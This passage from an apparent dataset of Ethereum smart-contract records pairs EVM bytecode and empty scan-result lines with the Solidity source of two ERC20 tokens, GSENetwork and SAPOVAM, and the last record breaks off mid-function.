0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e157806323b872dd14610206578063313ce5671461022e5780633f4ba83a1461025757806342966c681461026c5780635c975abb14610282578063661884631461029557806370a08231146102b757806379cc6790146102d65780638456cb59146102f85780638da5cb5b1461030b57806395d89b411461033a578063a9059cbb1461034d578063b414d4b61461036f578063d73dd6231461038e578063dd62ed3e146103b0578063e724529c146103d5578063f2fde38b146103f9578063f3164eb614610418575b600080fd5b341561012c57600080fd5b61013461043a565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610170578082015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b657600080fd5b6101cd600160a060020a03600435166024356104d8565b604051901515815260200160405180910390f35b34156101ec57600080fd5b6101f46104fc565b60405190815260200160405180910390f35b341561021157600080fd5b6101cd600160a060020a0360043581169060243516604435610502565b341561023957600080fd5b61024161054e565b60405160ff909116815260200160405180910390f35b341561026257600080fd5b61026a610557565b005b341561027757600080fd5b61026a6004356105bb565b341561028d57600080fd5b6101cd6105c8565b34156102a057600080fd5b6101cd600160a060020a03600435166024356105d1565b34156102c257600080fd5b6101f4600160a060020a03600435166105ee565b34156102e157600080fd5b61026a600160a060020a0360043516602435610609565b341561030357600080fd5b61026a6106a8565b341561031657600080fd5b61031e61070e565b604051600160a060020a03909116815260200160405180910390f35b341561034557600080fd5b61013461071d565b341561035857600080fd5b6101cd600160a060020a0360043516602435610788565b341561037a57600080fd5b6101cd600160a060020a03600435166107cb565b341561039957600080fd5b6101cd600160a060020a03600435166024356107e0565b34156103bb57600080fd5b6101f4600160a060020a03600435811690602435166107fd565b34156103e057600080fd5b61026a600160a060020a03600435166024351515610828565b341561040457600080fd5b61026a600160a060020a03600435166108b4565b341561042357600080fd5b6101cd600160a060020a036004351660243561094f565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104d05780601f106104a5576101008083540402835291602001916104d0565b820191906000526020600020905b8154815290600101906020018083116104b357829003601f168201915b505050505081565b60075460009060ff16156104eb57600080fd5b6104f583836109bc565b9392505050565b60045490565b60075460009060ff161561051557600080fd5b600160a060020a03841660009081526008602052604090205460ff161561053b57600080fd5b610546848484610a28565b949350505050565b60035460ff1681565b60055433600160a060020a0390811691161461057257600080fd5b60075460ff16151561058357600080fd5b6007805460ff191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6105c53382610ba8565b50565b60075460ff1681565b60075460009060ff16156105e457600080fd5b6104f58383610ca5565b600160a060020a031660009081526020819052604090205490565b600160a060020a038083166000908152600660209081526040808320339094168352929052205481111561063c57600080fd5b600160a060020a0380831660009081526006602090815260408083203390941683529290522054610673908263ffffffff610d9f16565b600160a060020a03808416600090815260066020908152604080832033909416835292905220556106a48282610ba8565b5050565b60055433600160a060020a039081169116146106c357600080fd5b60075460ff16156106d357600080fd5b6007805460ff191660011790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600554600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104d05780601f106104a5576101008083540402835291602001916104d0565b60075460009060ff161561079b57600080fd5b600160a060020a03331660009081526008602052604090205460ff16156107c157600080fd5b6104f58383610db1565b60086020526000908152604090205460ff1681565b60075460009060ff16156107f357600080fd5b6104f58383610ec3565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b60055433600160a060020a0390811691161461084357600080fd5b600160a060020a03821660009081526008602052604090819020805460ff19168315151790557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b60055433600160a060020a039081169116146108cf57600080fd5b600160a060020a03811615156108e457600080fd5b600554600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600090819033600160a060020a0390811691161461096f57600080fd5b60075460ff161561097f57600080fd5b600160a060020a03331660009081526008602052604090205460ff16156109a557600080fd5b6109af8484610788565b90506104f5846001610828565b600160a060020a03338116600081815260066020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610a3f57600080fd5b600160a060020a038416600090815260208190526040902054821115610a6457600080fd5b600160a060020a0380851660009081526006602090815260408083203390941683529290522054821115610a9757600080fd5b600160a060020a038416600090815260208190526040902054610ac0908363ffffffff610d9f16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610af5908363ffffffff610f6716565b600160a060020a0380851660009081526020818152604080832094909455878316825260068152838220339093168252919091522054610b3b908363ffffffff610d9f16565b600160a060020a03808616600081815260066020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600160a060020a038216600090815260208190526040902054811115610bcd57600080fd5b600160a060020a038216600090815260208190526040902054610bf6908263ffffffff610d9f16565b600160a060020a038316600090815260208190526040902055600454610c22908263ffffffff610d9f16565b600455600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a26000600160a060020a0383167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050565b600160a060020a03338116600090815260066020908152604080832093861683529290529081205480831115610d0257600160a060020a033381166000908152600660209081526040808320938816835292905290812055610d39565b610d12818463ffffffff610d9f16565b600160a060020a033381166000908152600660209081526040808320938916835292905220555b600160a060020a0333811660008181526006602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600082821115610dab57fe5b50900390565b6000600160a060020a0383161515610dc857600080fd5b600160a060020a033316600090815260208190526040902054821115610ded57600080fd5b600160a060020a033316600090815260208190526040902054610e16908363ffffffff610d9f16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610e4b908363ffffffff610f6716565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600660209081526040808320938616835292905290812054610efb908363ffffffff610f6716565b600160a060020a0333811660008181526006602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b81810182811015610f7457fe5b929150505600a165627a7a72305820ffafe2e2b092e86db723df66b4317772c98c2bd64c7148f9f123189e4e338a1c0029
{"success": true, "error": null, "results": {}}
2,789
0x0c04eb2cb33736282fccbe0c0dc7846dd0dd1d17
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; emit OwnershipTransferred(owner, newOwner); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Pausable { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(_value > 0); require(balances[_to] + _value > balances[_to]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_value > 0); require(balances[_to] + _value > balances[_to]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) whenNotPaused public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) whenNotPaused public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Grantable * @dev the pre-grant is token to addr, and can be viewed in contract * when grant, give token to addr in the real authorization */ contract Grantable is BasicToken { using SafeMath for uint256; mapping(address => uint256) grants; event PreGrant(address indexed from, address indexed to, uint256 value); event Grant(address indexed from, address indexed to, uint256 value); function preGrant(address _to, uint256 _value) onlyOwner whenNotPaused public returns (bool success) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender grants[_to] = grants[_to].add(_value); emit PreGrant(msg.sender, _to, _value); return true; } function grant(address _to, uint256 _value) onlyOwner whenNotPaused public returns (bool success) { require(_to != address(0)); require(_value <= grants[_to]); require(_value > 0); grants[_to] = grants[_to].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); emit Grant(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value); return true; } function grantOf(address _owner) public view returns (uint256) { return grants[_owner]; } } //GSENetwork contract GSENetwork is StandardToken, Grantable { using SafeMath for uint256; string public constant name = "GSENetwork"; // Token Full Name string public constant symbol = "GSE"; // Token Simplied Name uint256 public constant decimals = 4; uint256 constant totalToken = 1000 * (10**8); // Total Token function GSENetwork() public { totalSupply = totalToken; balances[msg.sender] = totalToken; emit Transfer(address(0), msg.sender, totalSupply); } }
0x6060604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cb57806323b872dd146101f0578063313ce567146102185780633f4ba83a1461022b5780635c975abb146102405780636370920e14610253578063661884631461027557806370a08231146102975780637c6bd3e8146102b65780638456cb59146102d85780638da5cb5b146102eb57806395d6718a1461031a57806395d89b4114610339578063a9059cbb1461034c578063d73dd6231461036e578063dd62ed3e14610390578063f2fde38b146103b5575b600080fd5b341561011657600080fd5b61011e6103d4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015a578082015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a057600080fd5b6101b7600160a060020a036004351660243561040b565b604051901515815260200160405180910390f35b34156101d657600080fd5b6101de61048e565b60405190815260200160405180910390f35b34156101fb57600080fd5b6101b7600160a060020a0360043581169060243516604435610494565b341561022357600080fd5b6101de610661565b341561023657600080fd5b61023e610666565b005b341561024b57600080fd5b6101b76106e5565b341561025e57600080fd5b6101b7600160a060020a03600435166024356106f5565b341561028057600080fd5b6101b7600160a060020a0360043516602435610877565b34156102a257600080fd5b6101de600160a060020a036004351661098c565b34156102c157600080fd5b6101b7600160a060020a03600435166024356109a7565b34156102e357600080fd5b61023e610ae9565b34156102f657600080fd5b6102fe610b6d565b604051600160a060020a03909116815260200160405180910390f35b341561032557600080fd5b6101de600160a060020a0360043516610b7c565b341561034457600080fd5b61011e610b97565b341561035757600080fd5b6101b7600160a060020a0360043516602435610bce565b341561037957600080fd5b6101b7600160a060020a0360043516602435610d14565b341561039b57600080fd5b6101de600160a060020a0360043581169060243516610dd0565b34156103c057600080fd5b61023e600160a060020a0360043516610dfb565b60408051908101604052600a81527f4753454e6574776f726b00000000000000000000000000000000000000000000602082015281565b60015460009060a060020a900460ff161561042557600080fd5b600160a060020a03338116600081815260036020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b60015460009060a060020a900460ff16156104ae57600080fd5b600160a060020a03831615156104c357600080fd5b600160a060020a0384166000908152600260205260409020548211156104e857600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561051b57600080fd5b6000821161052857600080fd5b600160a060020a0383166000908152600260205260409020548281011161054e57600080fd5b600160a060020a038416600090815260026020526040902054610577908363ffffffff610e8a16565b600160a060020a0380861660009081526002602052604080822093909355908516815220546105ac908363ffffffff610e9c16565b600160a060020a038085166000908152600260209081526040808320949094558783168252600381528382203390931682529190915220546105f4908363ffffffff610e8a16565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600481565b60015433600160a060020a0390811691161461068157600080fd5b60015460a060020a900460ff16151561069957600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60015460a060020a900460ff1681565b60015460009033600160a060020a0390811691161461071357600080fd5b60015460a060020a900460ff161561072a57600080fd5b600160a060020a038316151561073f57600080fd5b600160a060020a03831660009081526004602052604090205482111561076457600080fd5b6000821161077157600080fd5b600160a060020a03831660009081526004602052604090205461079a908363ffffffff610e8a16565b600160a060020a0384166000908152600460209081526040808320939093556002905220546107cf908363ffffffff610e9c16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fdc1e872d7927b949dd471e2dd9d43153685b5564c9a6aaf82246e27c0a9f2a289085905190815260200160405180910390a382600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600154600090819060a060020a900460ff161561089357600080fd5b50600160a060020a03338116600090815260036020908152604080832093871683529290522054808311156108ef57600160a060020a033381166000908152600360209081526040808320938816835292905290812055610926565b6108ff818463ffffffff610e8a16565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526002602052604090205490565b60015460009033600160a060020a039081169116146109c557600080fd5b60015460a060020a900460ff16156109dc57600080fd5b600160a060020a03831615156109f157600080fd5b600160a060020a033316600090815260026020526040902054821115610a1657600080fd5b60008211610a2357600080fd5b600160a060020a033316600090815260026020526040902054610a4c908363ffffffff610e8a16565b600160a060020a03338116600090815260026020908152604080832094909455918616815260049091522054610a88908363ffffffff610e9c16565b600160a060020a0380851660008181526004602052604090819020939093559133909116907fccc0446bd51e7316903630d452643afa2e080740919718b1e96cfed97d78b8489085905190815260200160405180910390a350600192915050565b60015433600160a060020a03908116911614610b0457600080fd5b60015460a060020a900460ff1615610b1b57600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600154600160a060020a031681565b600160a060020a031660009081526004602052604090205490565b60408051908101604052600381527f4753450000000000000000000000000000000000000000000000000000000000602082015281565b60015460009060a060020a900460ff1615610be857600080fd5b600160a060020a0383161515610bfd57600080fd5b600160a060020a033316600090815260026020526040902054821115610c2257600080fd5b60008211610c2f57600080fd5b600160a060020a03831660009081526002602052604090205482810111610c5557600080fd5b600160a060020a033316600090815260026020526040902054610c7e908363ffffffff610e8a16565b600160a060020a033381166000908152600260205260408082209390935590851681522054610cb3908363ffffffff610e9c16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60015460009060a060020a900460ff1615610d2e57600080fd5b600160a060020a03338116600090815260036020908152604080832093871683529290522054610d64908363ffffffff610e9c16565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015433600160a060020a03908116911614610e1657600080fd5b600160a060020a0381161515610e2b57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217928390559091167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600082821115610e9657fe5b50900390565b600082820183811015610eab57fe5b93925050505600a165627a7a72305820d880dba516e7db4c24f8382ec5a124b051e26c729907f9566dcab02d702d74450029
{"success": true, "error": null, "results": {}}
2,790
0x6950f78b185bc8822cbe8c21d515b7f2d718fe2a
pragma solidity ^0.4.13; contract Receiver { function tokenFallback(address from, uint value, bytes data); } /* * ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function allowance(address owner, address spender) public constant returns (uint); function transfer(address to, uint value) public returns (bool ok); function transferFrom(address from, address to, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { revert(); } } } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { event Transfer(address indexed from, address indexed to, uint indexed value, bytes data); /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /** * * Fix for the ERC20 short address attack * * http://vessenes.com/the-erc20-short-address-attack-explained/ */ modifier onlyPayloadSize(uint size) { if(msg.data.length != size + 4) { revert(); } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) public returns (bool success) { bytes memory _empty; return transfer(_to, _value, _empty); } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); if (isContract(_to)) { Receiver(_to).tokenFallback(msg.sender, _value, _data); } return true; } // ERC223 fetch contract size (must be nonzero to be a contract) function isContract( address _addr ) private returns (bool) { uint length; _addr = _addr; assembly { length := extcodesize(_addr) } return (length > 0); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { uint _allowance = allowed[_from][msg.sender]; // Check is not needed because safeSub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) revert(); balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) public returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert(); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } /** * Atomic increment of approved spending * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * */ function addApproval(address _spender, uint _addedValue) public onlyPayloadSize(2 * 32) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * Atomic decrement of approved spending. * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ function subApproval(address _spender, uint _subtractedValue) public onlyPayloadSize(2 * 32) returns (bool success) { uint oldVal = allowed[msg.sender][_spender]; if (_subtractedValue > oldVal) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { address public constant BURN_ADDRESS = 0; /** How many tokens we burned */ event Burned(address burner, uint burnedAmount); /** * Burn extra tokens from a balance. * */ function burn(uint burnAmount) public { address burner = msg.sender; balances[burner] = safeSub(balances[burner], burnAmount); totalSupply = safeSub(totalSupply, burnAmount); Burned(burner, burnAmount); } } /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardToken { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don&#39;t have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) public { upgradeMaster = _upgradeMaster; } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state revert(); } // Validate input value. if (value == 0) revert(); balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading revert(); } if (agent == 0x0) revert(); // Only a master can designate the next agent if (msg.sender != upgradeMaster) revert(); // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) revert(); upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) revert(); // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) revert(); UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) revert(); if (msg.sender != upgradeMaster) revert(); upgradeMaster = master; } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } contract SAPOVAM is BurnableToken, UpgradeableToken { string public name; string public symbol; uint public decimals; address public owner; bool public mintingFinished = false; mapping(address => uint) public previligedBalances; /** List of agents that are allowed to create new tokens */ mapping(address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state); modifier onlyOwner() { if(msg.sender != owner) revert(); _; } modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) revert(); _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) revert(); _; } modifier onlyNotSame(address _from, address _to) { if(_from == _to) revert(); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function SAPOVAM(address _owner, string _name, string _symbol, uint _totalSupply, uint _decimals) public UpgradeableToken(_owner) { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply * 10 ** uint(decimals); // Allocate initial balance to the owner balances[_owner] = totalSupply; // save the owner owner = _owner; } function mintingFinish() public onlyOwner { mintingFinished = true; } // privileged transfer function transferPrivileged(address _to, 